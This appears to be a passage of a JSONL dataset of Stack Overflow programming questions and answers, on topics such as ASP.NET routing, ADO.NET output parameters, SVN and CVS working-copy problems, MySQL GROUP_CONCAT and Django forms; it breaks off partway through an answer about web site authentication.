{"id": "hf_49688a64c9f6", "question": "<p>I feel like I'm re-inventing the wheel here, but I need to find a way of taking a URL from a catchall,and redirecting that to another route.</p>\n\n<p>The reason for this is because I need to do some things like adding session cookies for certain urls, and then pass them on to their relevant action.</p>\n\n<p>What's the best way of implementing this?</p>\n\n<p>Thanks in advance for any help!</p>\n", "question_body": "", "answer": "If I understand question...\nLooking at your previous question (\nredirect-to-controller-but-with-a-different-master-using-a-catchall-wildcard\n) you want to take the wildcard from:\n```\n```\nroutes.MapRoute(\n    \"Partner\",\n    \"partners/{partner}/{*wildcard}\",\n    new { controller = \"Partners\", action = \"PartnerRedirect\" }\n);\n```\n```\nAnd in the Partners/PartnerRedirect action, send it to the right controller/action specified in the wildcard?\nI have no idea the best way to do this, but looking at ways to unit test url routing brought up this:\nhttp://weblogs.asp.net/stephenwalther/archive/2008/07/02/asp-net-mvc-tip-13-unit-test-your-custom-routes.aspx\nI'm not sure if it is an exact fit (ie. might not have to mock stuff), but it looks like all the data is returned from GetRouteData to pass to RedirectToAction method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.159260"}
{"id": "hf_f9c9fc221d29", "question": "<p>We're looking to encrypt a field using DB-side encryption via NHibernate (most examples we've come across are app-side, which is not what we would like). The issue has been raised a couple of times, but no answers yet it seems. </p>\n\n<p>On SQL Server 2005, for instance, and forgetting key-related issues for now, this means INSERTing EncryptByKey(Key_GUID(MyKey), MyValueToEncrypt) and SELECTing DecryptByKey(MyEncryptedField). The property might be a string, whereas the field has to be a varbinary. </p>\n\n<p>We've vaguely got somewhere - using upper() and lower() instead of encryption functions - by combining paired properties, one mapped with a custom user type and the other with a formula attribute. </p>\n\n<p>However if anyone has any ideas on how to do this in a nicer way, we'd be most grateful for a few pointers :o) </p>\n", "question_body": "", "answer": "There is a project on SourceForge, MindLib, that has useful NHibernate utility functions and libraries.  One of those is an EncryptedString library which allows you to store an encrypted string.  Unfortunately, this is not doing it on the server side, as you originally requested.\nI've been looking for something similar.  The only thing I could come up with is to create a User Function in SQL Server to encrypt the string.  Something like\nthis\n.\nMindLib EncryptedString", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.210790"}
{"id": "hf_25ff5da98fe0", "question": "<p>I have a list of n GUIDs and I need to hash them into a single value.  This value could be the size of a Guid object or the size of an Int32, it doesn't really matter, but it does need to be statistically unique (say with a probably similar to MD5).</p>\n\n<p>So one approach could be to sort them, concatenate the bytes and take an MD5 hash of all the bytes... but this isn't very quick.</p>\n\n<p>Another idea: I notice that it is fairly standard practice in .NET to implement the GetHashCode method of a composing object as the XOR of the hash codes of the composed objects.  Therefore could it be mathematically sensible to XOR my list of GUIDs?</p>\n\n<p>Any ideas welcome!</p>\n", "question_body": "", "answer": "If you want the hash to be valid for the\nset\n(i.e. order doesn't matter) then XORing the hashcode of each GUID is a good choice.\nIf you've actually got a\nsequence\nof GUIDs and the order matters then I'd suggest using the same approach I wrote about\nin another answer\n- repeatedly add/multiply.\n(Note that XORing the hashcodes probably won't get you the same answer as XORing the GUIDs themselves and then hashing the result. It may be, but that depends on the implementation of GUID.GetHashCode(). I'd hash each value and XOR the results together - aside from anything else, that's trivial to implement.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.282459"}
{"id": "hf_9ae50bf23fea", "question": "<p>My stored procedure has an output parameter:</p>\n\n<pre><code>@ID INT OUT\n</code></pre>\n\n<p>How can I retrieve this using ado.net?</p>\n\n<pre><code>using (SqlConnection conn = new SqlConnection(...))\n{\n    SqlCommand cmd = new SqlCommand(\"sproc\", conn);\n    cmd.CommandType = CommandType.StoredProcedure;\n\n    // add parameters\n\n    conn.Open();\n\n    // *** read output parameter here, how?\n    conn.Close();\n}\n</code></pre>\n", "question_body": "", "answer": "Not my code, but a good example i think\nsource:\nhttp://www.eggheadcafe.com/PrintSearchContent.asp?LINKID=624\n```\n```\nusing System; \nusing System.Data; \nusing System.Data.SqlClient; \n\nclass OutputParams \n{ \n    [STAThread] \n    static void Main(string[] args) \n    { \n\n    using( SqlConnection cn = new SqlConnection(\"server=(local);Database=Northwind;user id=sa;password=;\")) \n    { \n        SqlCommand cmd = new SqlCommand(\"CustOrderOne\", cn); \n        cmd.CommandType=CommandType.StoredProcedure ; \n\n        SqlParameter parm= new SqlParameter(\"@CustomerID\",SqlDbType.NChar) ; \n        parm.Value=\"ALFKI\"; \n        parm.Direction =ParameterDirection.Input ; \n        cmd.Parameters.Add(parm); \n\n        SqlParameter parm2= new SqlParameter(\"@ProductName\",SqlDbType.VarChar); \n        parm2.Size=50; \n        parm2.Direction=ParameterDirection.Output; \n        cmd.Parameters.Add(parm2); \n\n        SqlParameter parm3=new SqlParameter(\"@Quantity\",SqlDbType.Int); \n        parm3.Direction=ParameterDirection.Output; \n        cmd.Parameters.Add(parm3);\n\n        cn.Open(); \n        cmd.ExecuteNonQuery(); \n        cn.Close(); \n\n        Console.WriteLine(cmd.Parameters[\"@ProductName\"].Value); \n        Console.WriteLine(cmd.Parameters[\"@Quantity\"].Value.ToString());\n        Console.ReadLine(); \n    } \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.305691"}
{"id": "hf_bcc23da6de77", "question": "<p>Where can I setup custom errors for directories in my application such as App_Code, App_Browsers, etc.?  I already have customErrors configured in the web.config and that works as expected.  For example,</p>\n\n<p><a href=\"http://www.mysite.com/bla.aspx\" rel=\"nofollow noreferrer\">http://www.mysite.com/bla.aspx</a> > redirects to 404 page</p>\n\n<p>but</p>\n\n<p><a href=\"http://www.mysite.com/App_Code/\" rel=\"nofollow noreferrer\">http://www.mysite.com/App_Code/</a> > displays \"The system cannot find the file specified.\"</p>\n\n<p>There's no physical App_Code directory for my site.  Is this something that I can change in IIS?</p>\n", "question_body": "", "answer": "One way is to provide a redirect in the global.asax file:\n```\n```\nvoid Application_Error(object sender, EventArgs e) \n{\n    //uncomment this to narrow down 'helpful' microsoft messages\n    //HttpRequest request = ((HttpApplication)sender).Context.Request; \n\n    Exception ex = Server.GetLastError();\n    //ErrorManager is a custom error handling module\n    ErrorManager.ProcessError(ex);\n    Response.Redirect(\"~/error.aspx?error=\" + HttpUtility.UrlEncode(ex.Message), true);\n}\n```\n```\n{ On a side note, I was getting an exception that I just couldn't track down - it just said 'file not found' but didn't say which file was missing. It turned out to be a broken image reference in a css file - breaking on line two of the code above helped identify the missing file }", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.329274"}
{"id": "hf_b1e551878781", "question": "<p>It seems like v2 of Log4j has been in development for literally years.  The <a href=\"http://logging.apache.org/\" rel=\"noreferrer\">Apache Log4J site</a> no longer lists a roadmap, the dev mailing list seems almost entirely about 1.2 (which is appreciated!), use of v1.3 is discouraged, and the 2.0 branch is listed as \"experimental\".  What's a believer to believe?</p>\n", "question_body": "", "answer": "Well then I guess you already answered your own question, the devs have obviously stopped focusing on 2.0 builds a long time ago and have instead decided to continue the 1.x codebase.\nAnd if you are on their mailing list, then ask them, the source of the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.387491"}
{"id": "hf_a9bb96031056", "question": "<p>how do i insert items into an html listbox from a database?\nim using asp c#. i cant make the listbox run at server because the application wont work if i do that. so i have to insert values from a database into an html listbox. I just need to display 1 column of data. cheers..</p>\n", "question_body": "", "answer": "There are two ways of doing this I can think of:\nFirst, you can place an\n```\n<asp:Placeholder />\n```\ntag on the page and generate the listbox in code:\n```\n```\nvar select = new HtmlSelect() { Size = 5 };\n\n//assuming the data has been placed in an IEnumarble\nforeach (var item in items)\n{\n    select.Items.Add(new ListItem() { Value = item });\n}\nselectPlaceholder.Controls.Add(select);\n```\n```\nSecond, you could create a WebService or ashx handler to provide the data and populate the list from javascript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.410275"}
{"id": "hf_ff3c488ea4bf", "question": "<p>I need to have a set of overloaded functions in my code but I get convertion wanrings.\nHere is a test code:</p>\n\n<pre><code>#include windows.h\n\nvoid f(DWORD arg){...}\n\n//void f(SIZE_T arg){}\n\nvoid main(void)\n{\nDWORD dword=0;\nSIZE_T size_t=dword;\nf(size_t);\n\n}\n</code></pre>\n\n<p>The compiler gives warning:</p>\n\n<pre><code>test.cpp(11) : warning C4244: 'argument' : conversion from 'SIZE_T' to 'DWORD', possible loss of data\n</code></pre>\n\n<p>If I uncomment void f(SIZE_T arg) I get</p>\n\n<pre><code>test.cpp(5) : error C2084: function 'void f(DWORD)' already has a body\n</code></pre>\n\n<p>How can I avoid having this warning or error? </p>\n", "question_body": "", "answer": "```\nsize_t\n```\nis guaranteed to be an unsigned integral type, but the number of bits it has isn't specified.  It could be equal to a\n```\nDWORD\n```\n(32 bits), or it could be 64 bits on a 64-bit platform.  For maximal portability, you shouldn't assume it has a certain number of bits, which is what the compiler is warning you about.  If you know your value will never exceed 2^32 (which is a reasonable assumption in 99.99% of cases), then you can just cast to a\n```\nDWORD\n```\nto get rid of the warning:\n```\n```\nSIZE_T sz = dword;\nf((DWORD)sz);  // no warning here\n```\n```\nThe error you're getting is because in your case,\n```\nsize_t\n```\nis actually 32 bits, and so the function signatures of your two\n```\nf\n```\nfunctions are identical - they both take a single unsigned 32-bit parameter.  You'll have to use separate names for them in order to guarantee that your program is portable between 32- and 64-bit platforms:\n```\n```\nvoid f_DWORD(DWORD arg) { ... }\nvoid f_size_t(size_t arg) { ... }\n```\n```\nOne final note:\n```\nsize_t\n```\nis a built-in type.\n```\nSIZE_T\n```\nis non-standard and is almost definitely a typedef or a #define for\n```\nsize_t\n```\n.  You should use\n```\nsize_t\n```\ninstead of\n```\nSIZE_T\n```\n, and you should also avoid naming your variables\n```\nsize_t\n```\n, since that introduces confusion by shadowing a type name with a variable name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.434166"}
{"id": "hf_2c254b3d5de1", "question": "<p>I have a repository which contains some unversioned directories and files. The server running svn was recently changed and since the checkout was done using the url svn://OLD-IP, I relocated my svn working copy, this time to the url svn://NEW-DOMAIN-NAME. </p>\n\n<p>Now since there are some unversioned resources, the switch did not happen properly and the working copy got locked. A cleanup operation did not work either because of these unversioned resources. </p>\n\n<p>I looked up in the net and found about svn ignore and tried that but to no use. I am unable to release all locks. Any ideas on solving the problem? Once I release the locks, I believe I can use svn ignore and carry on the relocate operation.</p>\n", "question_body": "", "answer": "Check your\n```\nsvn status\n```\noutput and the legend for the letters at\n```\nsvn help status\n```\n.\nQuite often, the problem is that there is a file where svn expects a directory, or other kinds of similar confusion (the letters should tell you which it is). If there are any conflicts (\n```\nC\n```\n), solve them first. You can recover lost directories with\n```\nsvn update\n```\n, and\n```\nsvn revert\n```\ncan often help too (if there is anything important on your working copy which is not in the repository, make a backup of the working copy first!).\nAfter most of the confusion has been cleared,\n```\nsvn cleanup\n```\nand\n```\nsvn update\n```\n/\n```\nsvn switch\n```\n(\n```\nupdate\n```\nis nothing more than a special case of\n```\nswitch\n```\n) should start working again.\nIn the worst case, you can do another checkout and manually copy over any locally modified files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.494945"}
{"id": "hf_84132ba580a3", "question": "<p>I have a form that sits behind ASP.NET forms authentication.  So far, the implementation follows a typical \"out of the box\" type configuration.</p>\n\n<p>One page allows users to post messages.  If the user sits on that page for a long time to compose the message, it may run past the auth session expiration.  In that case, the post does not get recorded... they are just redirected to the login page.</p>\n\n<p>What approach should I take to prevent the frustrating event of a long message being lost?  </p>\n\n<p>Obviously I could just make the auth session really long, but there are other factors in the system which discourage that approach.  <strong>Is there a way I could make an exception for this particular page so that it will never redirect to the Login so long as its a postback?</strong></p>\n", "question_body": "", "answer": "My coworker came up with a general solution to this kind of problem using an HttpModule.\nKeep in mind he decided to to handle his own authentication in this particular application.\nHere goes:\nHe created an HttpModule that detected when a user was no longer logged in. If the user was no longer logged in he took the ViewState of that page along with all the form variables and stored it into a collection. After that the user gets redirected to the login page with the form variables of the previous page and the ViewState information encoded in a hidden field.\nAfter the user successfully reauthenticates, there is a check for the hidden field. If that hidden field is available, a HTML form is populated with the old post's form variables and viewstate. Javascript was then used auto submit this form to the server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.519005"}
{"id": "hf_ee44d4eb2383", "question": "<p>I am invoking a C library via JNI that prints to stdout.  How can I redirect this output to System.out?</p>\n", "question_body": "", "answer": "```\nSystem.out\n```\nis\n```\nstdout\n```\n.  Is there some more fundamental problem you're having (mixed up output, perhaps?).\nSince another member has also mentioned that last point - I should explain further:\n```\nSystem.out\n```\nand\n```\nstdout\n```\nboth correspond to file descriptor #1.\nHowever both Java's\n```\nOutputStream\n```\n(and derived classes) and C's\n```\nstdio\n```\nlibrary have their own (independent) buffering mechanisms so as to reduce the number of calls to the underlying\n```\nwrite\n```\nsystem call.  Just because you've called\n```\nprintf\n```\nor similar, it's not guaranteed that your output will appear straightaway.\nBecause these buffering methods are independent, output from within Java code could (in theory) get mixed up or otherwise appear out-of-order relative to output from the C code.\nIf that's a concern, you should arrange to call\n```\nSystem.out.flush()\n```\nbefore calling your JNI function, and in your C function (if it's using\n```\nstdio\n```\nrather than the low-level\n```\nwrite\n```\ncall) you should call\n```\nfflush(stdout)\n```\nbefore returning.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.543012"}
{"id": "hf_58438dca8646", "question": "<p>I can't seem to find a true restful Blog API - are there any? \nI'm writing some blog software and wondered if there was a standard restful API, if not I'll go buy the RESTful Web Services book and design my own.</p>\n", "question_body": "", "answer": "How about\nAtomPub\n?\nAtom is the name of an XML-based Web\n  content and metadata syndication\n  format, and an application-level\n  protocol for publishing and editing\n  Web resources.\nIt isn't limited to blogs, but blogs certainly fall under the realm of applications are used for \"publishing and editing Web resources\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.578647"}
{"id": "hf_2c0e414b01ea", "question": "<p>I'm having a problem with a administrative app I'm working on.  I'm build an interface for stopping, starting and querying various services across 40 or so servers.  </p>\n\n<p>I'm looking at service.controller and have been successful in stopping and starting various services with button events but now I'm trying to figure out a way to return the service status to a text box and query for service status every 10 seconds or so and I feel like I'm hitting a brick wall. </p>\n\n<p>Does anyone have any tips or insight?</p>\n\n<p>Thanks!!</p>\n", "question_body": "", "answer": "You can trigger the periodic service check by using a Timer object. You can run your service queries on the Elapsed event.\n```\n```\nprivate void t_Elapsed(object sender, ElapsedEventArgs e)\n    {\n        // Check service statuses\n    }\n```\n```\nAs for displaying statuses in a text box, you should be able to use the ToString() method on the service status and display that in a regular text box. Remember that you may or may not be on the GUI thread when reacting to the timer events, so you'll need to invoke yourself on to the main thread.\n```\n```\nprivate delegate void TextUpdateHandler(string updatedText);\n\n    private void UpdateServerStatuses(string statuses)\n    {\n        if (this.InvokeRequired)\n        {\n            TextUpdateHandler update = new TextUpdateHandler(this.UpdateServerStatuses);\n            this.BeginInvoke(update, statuses);\n        }\n        else\n        {\n            // load textbox here\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.624082"}
{"id": "hf_b1c79f05e9d3", "question": "<p>Do you know what's the format of the DepartureWindow parameter for sabre web-services' OTA_AirLowFareSearch call? Whatever I pass, it shows me an error.</p>\n\n<p>This is the entire documentation for those parameters (I kid you not):</p>\n\n<pre><code>&lt;!--\"DepartureDateTime\" represents the date and time of departure.--&gt;\n&lt;DepartureDateTime&gt;2004-11-22T15:00:00&lt;/DepartureDateTime&gt;\n&lt;!--\"DepartureWindow\" represents a window of time to search prior and post departure.--&gt;\n&lt;!--Example: JR.DFW/S-OYLAS22NOV1500‡ZRD09001700--&gt;\n&lt;DepartureWindow&gt;09001700&lt;/DepartureWindow&gt;\n</code></pre>\n\n<p>I've already tryied passing the number of seconds since DepartureDateTime and a unix timestamp without success. The error message it's:</p>\n\n<pre><code>Error response received. The error was: INVALID TIME WINDOW IN  Z FIELDS\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You must specify time within window in DepartureDateTime\n```\n```\n<ns1:DepartureDateTime>2009-01-03T15:00:00</ns1:DepartureDateTime>\n <ns1:DepartureWindow>11001559</ns1:DepartureWindow>\n```\n```\nworks fine for me", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.661558"}
{"id": "hf_345752f8cc22", "question": "<p>I'm programming in FORTRAN and C on an SGI running Irix 6.5, but this should be applicable to all Unix-like systems.  How do I find which library I need to link to my program when I get an \"unresolved text symbol\" link error?  Here's an example of what I'm seeing from the linker:</p>\n\n<pre><code>ld32: ERROR  33 Unresolved text symbol \"ortho2_\" -- first referenced by ./libfoo.a\n</code></pre>\n\n<p>Do I just have to know which libraries are required, or is there some tool or command that can help me figure this out?</p>\n", "question_body": "", "answer": "You can use the\n```\nnm\n```\ncommand to list the dynamic symbols from a shared library:\n```\n```\nnm -D /lib/libc.so.6\n```\n```\nand then\n```\ngrep\n```\nfor the symbol you are looking for.  Omit the -D for static libraries.  You can use this in a loop or with xargs to scan multiple libraries.\nI usually just use google (assuming the symbol is from a publicly available library).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.695337"}
{"id": "hf_7e2a58b1763f", "question": "<p>Are delegates the same thing as callbacks?  Or are they related somehow?</p>\n", "question_body": "", "answer": "generically, a delegate is an object used to access a method external to the object owning the method, while a callback is a variable that holds a delegate\nin C#, the terms are used interchangeably", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.729816"}
{"id": "hf_b1b2be92a918", "question": "<p>Let's say I have a table:</p>\n\n<pre>\ni j\n---\na 1\na 2\na 3\na 4\nb 5\nb 6\nb 7\nb 8\nb 9\n</pre>\n\n<p>Obvoiusly <code>SELECT a, GROUP_CONCAT(b SEPARATOR ',') GROUP BY a</code> would give me</p>\n\n<pre>\na  1,2,3,4\nb  5,6,7,8,9\n</pre>\n\n<p>But what if I want to get only a LIMITED number of results, like 2, for example:</p>\n\n<pre>\na  1,2\nb  5,6\n</pre>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "One solution would be to limit the rows in the group to the top two, before computing the aggregate.\n```\n```\nSELECT t.i, GROUP_CONCAT(t.j)\nFROM\n  (SELECT t1.i, t1.j\n   FROM mytable AS t1\n     LEFT JOIN mytable AS t2\n       ON (t1.i = t2.i AND t1.j >= t2.j) \n   GROUP BY t1.i, t1.j\n   HAVING COUNT(*) <= 2) AS t\nGROUP BY t.i;\n```\n```\nAnother solution, if you know the values in\n```\nj\n```\nare of a fixed length, is to simply use\n```\nSUBSTRING()\n```\non the result:\n```\n```\nSELECT i, SUBSTRING( GROUP_CONCAT(j), 1, 3 )\nFROM mytable\nGROUP BY i;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.751859"}
{"id": "hf_97bf3589c201", "question": "<p>The basics have already been answered <a href=\"https://stackoverflow.com/questions/257125/human-language-of-a-document\">here</a>. But is there a pre-built PHP lib doing the same as Lingua::Identify from CPAN?</p>\n", "question_body": "", "answer": "There's a PEAR package\n```\nText_LanguageDetect\n```\nthat I've used before. Get's the job done well enough. I'm not sure of any other libs that are more mature.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.775184"}
{"id": "hf_1b815754ba35", "question": "<p>The very common beginner mistake is when you try to use a class property &quot;statically&quot; without making an instance of that class. It leaves you with the mentioned error message:</p>\n<blockquote>\n<p>You can either make the non static method static or make an instance of that class to use its properties.</p>\n</blockquote>\n<p><strong>What the reason behind this? Am not concern with the solution, rather the reason.</strong></p>\n<pre><code>private java.util.List&lt;String&gt; someMethod(){\n    /* Some Code */\n    return someList;            \n}\n\npublic static void main(String[] strArgs){          \n     // The following statement causes the error. \n    java.util.List&lt;String&gt; someList = someMethod();         \n}\n</code></pre>\n", "question_body": "", "answer": "The method you are trying to call is an instance-level method; you do not have an instance.\n```\nstatic\n```\nmethods belong to the class, non-\n```\nstatic\n```\nmethods belong to instances of the class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.836641"}
{"id": "hf_2723619cb07e", "question": "<p>Say I have this simple form:</p>\n\n<pre><code>class ContactForm(forms.Form):\n    first_name = forms.CharField(required=True)\n    last_name = forms.CharField(required=True)\n</code></pre>\n\n<p>And I have a default value for one field but not the other.  So I set it up like this:</p>\n\n<pre><code>default_data = {'first_name','greg'}\nform1=ContactForm(default_data)\n</code></pre>\n\n<p>However now when I go to display it, Django shows a validation error saying last_name is required:</p>\n\n<pre><code>print form1.as_table()\n</code></pre>\n\n<p>What is the correct way to do this?  Since this isn't data the user has submitted, just data I want to prefill.</p>\n\n<p><strong>Note:</strong> required=False will not work because I do want it required when the user submits the data. Just when I'm first showing the form on the page, I won't have a default value.</p>\n", "question_body": "", "answer": "From the django docs is this:\n```\n```\nfrom django import forms\nclass ContactForm(forms.Form):\n    subject = forms.CharField(max_length=100)\n    message = forms.CharField()\n    sender = forms.EmailField()\n    cc_myself = forms.BooleanField(required=False)\n```\n```\nThe \"required=False\" should produce the effect you're after.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.882111"}
{"id": "hf_0e6c97d0247b", "question": "<p>How exactly using VB6 can I can call any Windows shell command as you would from the command-line?</p>\n\n<p>For example, something as trivial as:</p>\n\n<pre><code>echo foo\n</code></pre>\n", "question_body": "", "answer": "Shell and ShellExecute?\nhttp://msdn.microsoft.com/en-us/library/aa242087.aspx\n```\n```\nDim RetVal\nRetVal = Shell(\"C:\\WINDOWS\\CALC.EXE\", 1)   ' Run Calculator.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.916522"}
{"id": "hf_47956991422d", "question": "<p>I have a file in cvs that has Sticky Options set to <code>-kk</code>.  This replaces all cvs keywords with just the keyword name to facilitate diffs.   For example, <code>$Author: Alex B$</code> becomes <code>$Author$</code>.    </p>\n\n<p>How do I disable the <code>-kk</code> behavior and get back to \"normal\" cvs where keywords are substituted in?   I've tried <code>rm</code>'ing the file and updating, I've tried <code>cvs update -A</code> and neither changes the flag.</p>\n", "question_body": "", "answer": "```\n```\ncvs update -kkv <filename>\n```\n```\nwill reset the sticky options to\n```\nkeyword\n```\nand\n```\nvalue\n```\nEdit:\nCorrected\n```\ncheckout\n```\nto\n```\nupdate\n```\n, thanks to\nAlex B\nfor the correction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.976856"}
{"id": "hf_a7555d24973e", "question": "<p>Is it expensive?</p>\n\n<p>I am developing an HtmlHelper that renders directly to Response.Output in order to save unnecesary string creation and I need to choose between: </p>\n\n<pre><code>&lt;% Validator.RenderClient(Response.Output); %&gt;\n</code></pre>\n\n<p>and</p>\n\n<pre><code>&lt;% Validator.RenderClient(); %&gt;\n</code></pre>\n\n<p>and get the textWriter from HttpContext.Current.Response</p>\n", "question_body": "", "answer": "from reflector\n```\n```\npublic static HttpContext get_Current()\n{\n    return (ContextBase.Current as HttpContext);\n}\n```\n```\ncalls ContextBase\nwhich calls\n```\n```\npublic static object HostContext\n{\n    get\n    {\n        object hostContext = \n          Thread.CurrentThread.GetIllogicalCallContext().HostContext;\n        if (hostContext == null)\n        {\n            hostContext = GetLogicalCallContext().HostContext;\n        }\n        return hostContext;\n    }\n```\n```\n...\nso there is a bit of threading 'stuff' going on; the specific I don't really know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.998260"}
{"id": "hf_4845a6a5b13f", "question": "<p>Does anyone know if it's possible to determine, using JavaScript, whether the user's browser allows checkboxes and radio buttons to be focused? In other words, whether you can tab to select them.</p>\n\n<p>I can't just use browser detection to do this, because in at least one case (Safari), the user can turn the ability on and off.</p>\n\n<p>Also in Safari, the focus() function is defined even when this ability is turned off, and it doesn't throw an error. So checking that function won't work.</p>\n", "question_body": "", "answer": "JavaScript cannot read the browser's settings. Doing so would be a security violation.\nThat being said, there is no way to test for something\nnot\nhappening if it requires the user's interaction without giving them explicit directions so to perform the testable action. So there is no passive way to test for the user having disabled tabbing.\nIt's rather like changing screen resolution in Windows. The user changes resolution and because VGA is passive there's no way for the OS to tell whether that change was successful unless the user performs an action. You need to ask them, set a timeout and assume it doesn't work if you get a negative result. You can't tell the difference between a negative result an no user interaction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.021606"}
{"id": "hf_ed23d6e87a48", "question": "<p>Writing the code for the user authentication portion of a web site (including account registration, logins, and password resets) is pretty simple, but what do you need to make a really <em>good</em> user authentication setup?  For example, I'd consider not storing plaintext passwords to be a bare minimum requirement for a web site, but that piece of advice seems to be largely transmitted by word of mouth, and plenty of sites still fail to follow it.</p>\n<p>What is some other good advice or good requirements for the user auth portion of a web site?  For example, should usernames be user-selected, or should they be email addresses?  Any pitfalls for the user registration portion?  (CAPTCHAs are probably worth a whole topic by themselves.)  Any pitfalls for the password reset portion?  Anything else?</p>\n<h3>Edit:</h3>\n<p>Somewhat duplicated here : <a href=\"https://stackoverflow.com/questions/243957/best-practices-for-login-pages\">best-practices-for-login-pages</a></p>\n", "question_body": "", "answer": "On the username topic, it depends on how the username will be used on the site (beyond logging in). If your site is based on user generated content and you display the username with the content, allow the user to pick their own and make sure it is not an email address. Also, if the username will be displayed, I generally provide a bit of a warning on the registration form to let the user know, so they don't use their full name only to be angry later when it is displayed on the site.\nI would recommend checking the availability and validity of a username through some type of 